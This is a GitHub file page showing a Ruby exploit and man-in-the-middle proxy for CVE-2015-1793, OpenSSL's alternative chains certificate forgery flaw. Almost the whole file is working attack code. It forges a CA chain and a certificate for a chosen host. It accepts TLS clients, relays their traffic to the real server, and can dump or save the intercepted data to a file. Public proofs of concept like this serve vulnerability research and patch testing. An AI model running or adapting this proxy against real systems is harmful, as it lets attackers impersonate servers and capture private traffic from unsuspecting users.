-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrcvalle_accforgery.rb
222 lines (181 loc) · 7.04 KB
/
rcvalle_accforgery.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# OpenSSL Alternative Chains Certificate Forgery (CVE-2015-1793) MITM Proxy/Exploit
# By Ramon de C Valle. This work is dedicated to the public domain.
require "openssl"
require "optparse"
require "socket"
Version = [0, 0, 1]
Release = nil
class String
def hexdump(stream = $stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf("%08x ", i)
0.upto(15) do |j|
stream.printf(" ") if j == 8
if i + j >= bytesize
stream.printf(" ")
else
stream.printf("%02x ", getbyte(i + j))
end
end
stream.printf(" ")
0.upto(15) do |j|
if i + j >= bytesize
stream.printf(" ")
elsif /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf("%c", getbyte(i + j))
else
stream.printf(".")
end
end
stream.printf("\n")
end
end
end
options = {}
OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert"
parser.separator("")
parser.separator("Options:")
parser.on("-H", "--local-host HOST", "Local host") do |host|
options[:local_host] = host
end
parser.on("-P", "--local-port PORT", "Local port") do |port|
options[:local_port] = port
end
parser.on("-d", "--debug", "Debug mode") do
options[:debug] = true
end
parser.on("-h", "--help", "Show this message") do
puts parser
exit
end
parser.on("-o", "--output FILE", "Output file") do |file|
options[:file] = File.new(file, "w+b")
end
parser.on("-p", "--port PORT", "Port") do |port|
options[:port] = port
end
parser.on("-v", "--verbose", "Verbose mode") do
options[:verbose] = true
end
parser.on("--pass-phrase PASS_PHRASE", "Pass phrase for the key") do |pass_phrase|
options[:pass_phrase] = pass_phrase
end
parser.on("--subject SUBJECT", "Subject field for the fake certificate") do |subject|
options[:subject] = subject
end
parser.on("--version", "Show version") do
puts parser.ver
exit
end
end.parse!
local_host = options[:local_host] || "0.0.0.0"
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, "no host given"
port = options[:port] || 443
verbose = options[:verbose] || false
cacert = ARGV[1] or fail ArgumentError, "no cacert given"
key = ARGV[2] or fail ArgumentError, "no key given"
pass_phrase = options[:pass_phrase] || nil
cert = ARGV[3] or fail ArgumentError, "no cert given"
subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"
root_ca_name = OpenSSL::X509::Name.parse("/C=US/O=Root Inc./CN=Root CA")
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse("/C=US/O=Root Inc./CN=Root CA")
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension("basicConstraints", "CA:TRUE", true))
root_ca_cert.add_extension(extension_factory.create_extension("keyUsage", "keyCertSign,cRLSign", true))
root_ca_cert.add_extension(extension_factory.create_extension("subjectKeyIdentifier", "hash"))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest.new("SHA1"))
inter_ca_name = OpenSSL::X509::Name.parse("/C=US/O=Intermediate Inc./CN=Intermediate CA")
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension("basicConstraints", "CA:TRUE", true))
inter_ca_cert.add_extension(extension_factory.create_extension("keyUsage", "keyCertSign,cRLSign", true))
inter_ca_cert.add_extension(extension_factory.create_extension("subjectKeyIdentifier", "hash"))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest.new("SHA1"))
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest.new("SHA1"))
leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)
leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))
fake_name = OpenSSL::X509::Name.parse(subject)
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension("basicConstraints", "CA:FALSE", true))
fake_cert.add_extension(extension_factory.create_extension("keyUsage", "digitalSignature,nonRepudiation,keyEncipherment"))
fake_cert.add_extension(extension_factory.create_extension("subjectKeyIdentifier", "hash"))
fake_cert.sign(leaf_key, OpenSSL::Digest.new("SHA1"))
context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key
tcp_server = TCPServer.new(local_host, local_port)
proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)
puts "Listening on %s:%d" % [proxy.addr[2], proxy.addr[1]] if debug || verbose
loop do
Thread.start(proxy.accept) do |client|
puts "Accepted connection from %s:%d" % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose
context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE
tcp_socket = TCPSocket.new(host, port)
server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
server.connect
puts "Connected to %s:%d" % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose
loop do
readable, = IO.select([client, server])
readable.each do |r|
data = r.readpartial(4096)
data.hexdump($stderr) if debug
puts "%d bytes received" % [data.bytesize] if debug || verbose
if file
file.write(data)
file.flush
file.fsync
end
case r
when client
count = server.write(data)
server.flush
data.hexdump($stderr) if debug
puts "%d bytes sent" % [count] if debug || verbose
when server
count = client.write(data)
client.flush
data.hexdump($stderr) if debug
puts "%d bytes sent" % [count] if debug || verbose
end
end
end
client.close
server.close
end
end
proxy.close